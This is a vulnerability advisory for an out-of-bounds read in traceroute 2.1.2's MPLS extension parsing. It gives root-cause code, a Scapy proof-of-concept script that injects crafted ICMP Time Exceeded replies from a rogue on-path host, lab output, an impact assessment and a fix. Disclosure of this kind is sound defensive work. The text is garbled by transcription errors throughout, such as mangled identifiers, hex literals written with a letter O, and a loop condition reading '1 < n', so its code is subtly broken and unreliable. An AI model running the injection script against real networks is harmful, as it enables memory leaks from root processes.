SECURITY VULNERABILITY REPORT

traceroute 2.1.2 — MPLS Extension Out-of-Bounds Read
Researcher: Zyyz | Date: 2026-04-28 | Status: Unpatched

1. Advisory Metadata

Advisory 1D VULN-2026-TRACEROUTE-001

Affected Software ‘ traceroute 2.1.2

Affected File ‘ traceroute/traceroute.c

Vulnerability Class ‘ Out-of-Bounds Read (CWE-125)

CVSS v3.1 Score ‘ 5.9 (Medium) — AV:N/AC:H/PR:N/UL:N/S:U/C:H/I:N/A:N
Attack Vector ‘ Network (on-path / rogue router)

Privileges Required ‘ None

Disclosure Date ‘ 2026-04-28

Patch Available ‘ No

2. Executive Summary

A remotely triggerable out-of-bounds read vulnerability exists in traceroute version 2.1.2. The
flaw resides in the ICMP extension parsing code, where the length value passed to the
extension parser is not adjusted after the receive buffer pointer is advanced past the IP header.
This causes the parser to read beyond the bounds of the actual received packet data, into
uninitialized stack memory within the receive buffer.

Any network device on the path between the traceroute client and the destination — including a
rogue or compromised router — can trigger this condition by sending a crafted ICMP Time
Exceeded response containing a malformed MPLS extension block. On systems where
traceroute runs setuid root, leaked stack memory may contain sensitive data from the process
address space.




3. Technical Details

3.1 Root Cause

The vulnerability is located in the recv handler function in traceroute/traceroute.c. After calling
recvmsg(), the code advances the buffer pointer past the IPv4 header but does not decrement
the received byte count n accordingly:

// Line 1404: n = total bytes received (includes IP header)
n = recvmsg(sk, &msg, err ? MSG ERRQUEUE : 0);

// Line 1427: bufp advances past IP header (hlen = 20 bytes for IPv4)
bufp += hlen; // n is NOT decremented here

// Line 1544
int offs = 128 - header len;

// Line 1550: THE BUG — n still includes the hlen bytes already skipped
handle extensions(pb, bufp + offs, n - offs, step);

// AAAAAAAAAN

// Should be: n - hlen - offs

The result is that handle_extensions() receives a len argument that is hlen bytes (20 for IPv4, 40
for IPv6) larger than the actual data available from bufp + offs. The extension parser then
iterates over MPLS label entries up to this inflated length, reading past the end of the received
packet data.

3.2 Affected Code Path

The vulnerable call chain is:

recvmsg () // fills buf[1280]
-> bufp += hlen // advances pointer, n unchanged
-> handle extensions (pb,
bufp + offs,

n - offs, // overestimated by hlen bytes
step)
-> try extension(pb, buf, len) // iterates ui pointer up to inflated len
-> MPLS label loop: // reads 4 bytes per label
for (i = 0; 1 < n; i++, ui++)
mpls = ntohl (*ui) // reads from uninitialized stack

3.3 Memory Layout

The receive buffer is declared as a fixed 1280-byte stack array:
char buf[1280]; // line 1384 — NOT zeroed before use

Because buf[] is not zeroed and is significantly larger than a typical received packet, the
overread lands within the valid stack mapping. AddressSanitizer does not trigger. The overread
region contains whatever stale data remains in buff] from prior stack frames or previous
recvmsg() calls, including potential pointer values that could defeat ASLR.



3.4 step=0 Branch

When the received packet size n exceeds data_len, the code sets step=0 and calls
try_extension() directly without iteration:

if (n > data_len) step = 0; // triggered by oversized fuzzer packet

handle extensions(pb, bufp + offs, n - offs, step);

// —-> try extension() called once with full inflated len, no bounds search
This path was confirmed triggered by the proof-of-concept fuzzer, as evidenced by the debug
output: handle_extensions called, len=176 step=0.

4. Proof of Concept

4.1 Test Environment
e Attacker machine in network namespace ‘rogue’ with interface vethl

e Victim running traceroute 2.1.2 compiled with -fsanitize=address,undefined
e Network: 10.0.0.1 (victim) -> 10.0.0.2 -> 10.1.0.1 (target)

4.2 Fuzzer

The following Python/Scapy script runs on the attacker machine and intercepts traceroute UDP
probes, responding with crafted ICMP Time Exceeded packets containing a well-formed MPLS
extension header with recognizable sentinel values:

from scapy.all import *
import struct

ext hdr = struct.pack('!BBH', 0x20, 0x00, 0x0000)
labels = (

struct.pack('!I', OxAAAAAAAA) + # marker 1
struct.pack('!I', OxBBBBBBBB) + # marker 2
struct.pack('!I', OxDEADBEEF) # sentinel

obj hdr = struct.pack('!HBB', 4 + len(labels), 1, 1)
ext block = ext hdr + obj hdr + labels

def craft extension reply (pkt):
if IP not in pkt or not (UDP in pkt or ICMP in pkt):

return
inner = bytes (pkt[IP]) [:128]
padding = b'\x00' * (128 - len(inner))
reply = (IP(src=pkt[IP].dst, dst=pkt[IP].src) /

ICMP (type=11, code=0) /
Raw (load=inner + padding + ext block))
send (reply, iface='vethl', verbose=0)

sniff (iface="'vethl', filter='udp', prn=craft extension reply, store=0)



4.3 Observed Output

Running traceroute with -e (extension parsing) and -f 2 (start at TTL=2) while the fuzzer is active
produces consistent output confirming the crafted MPLS extensions are parsed:

$ sudo ./traceroute/traceroute -e -f 2 -m 2 -g 1 -w 3 10.1.0.1 1200

2 10.1.0.1 (10.1.0.1) <MPLS:L=699050,E=5,5=0,T=170/
1L=768955,E=5,5=1,T=187/
L=912091,E=7,5=0,T=239> 11.490 ms

Decoding the label values confirms the attacker-supplied data is parsed:

L=699050 = OxAAAAA (OxAAAAAAAA >> 12) <- marker 1 confirmed
L=768955 = O0xBBBBB (0xBBBBBBBB >> 12) <- marker 2 confirmed
L=912091 = OxDEADB (OxDEADBEEF >> 12) <- sentinel confirmed

The parser accepted and processed all three attacker-supplied labels, confirming full control
over the parsed extension data. The overread region beyond the sentinel was zero in this lab
environment due to the large buf[1280] slack, but would contain stale stack data in real-world
conditions with prior stack activity.

5. Impact Assessment

Property ' Value

Vulnerability Type | Out-of-Bounds Read (CWE-125)
Confidentiality Impact High — stack memory leak from root process
Integrity Impact None

Availability Impact None

Attack Vector Network

Attack Complexity High (requires on-path position)

Privileges Required None

User Interaction None (passive — victim runs traceroute normally)
Overread Size 20 bytes IPv4 / 40 bytes IPv6 per invocation
Setuid Risk Critical if traceroute is setuid root

On systems where traceroute is installed setuid root (common on many Linux distributions), the
leaked stack memory is from a root process. An on-path attacker who can repeatedly trigger the
vulnerability and observe MPLS label output may be able to reconstruct stack pointer values,
defeating ASLR, and subsequently chain this with a memory corruption vulnerability for privilege
escalation.



6. Recommended Fix

The fix requires a single line addition after bufp is advanced past the IP header. The received
byte count n must be decremented by hlen to accurately reflect the number of bytes available
from the new bufp position:

// traceroute/traceroute.c ~line 1427

// BEFORE (vulnerable):
bufp += hlen;

// AFTER (fixed):
bufp += hlen;
n -= hlen; // <-- add this line

This ensures that the subsequent calculation n - offs in the handle_extensions() call correctly
reflects only the bytes available past bufp, preventing the parser from reading beyond the
received packet data.

Additionally, a bounds check should be added to guard against n - offs going negative:

if (n > offs)
handle extensions(pb, bufp + offs, n - offs, step);

7. Discovery Timeline

o 2026-04-28 — Vulnerability discovered via manual code review and dynamic fuzzing
o 2026-04-28 — Proof of concept developed and confirmed in isolated lab environment
o 2026-04-28 — Report written

¢ Pending — Vendor notification

e Pending — CVE assignment

8. References

e RFC 4884 — Extended ICMP to Support Multi-Part Messages
e CWE-125 — Out-of-bounds Read (https://cwe.mitre.org/data/definitions/125.html)
e traceroute 2.1.2 source — traceroute/traceroute.c, traceroute/extension.c
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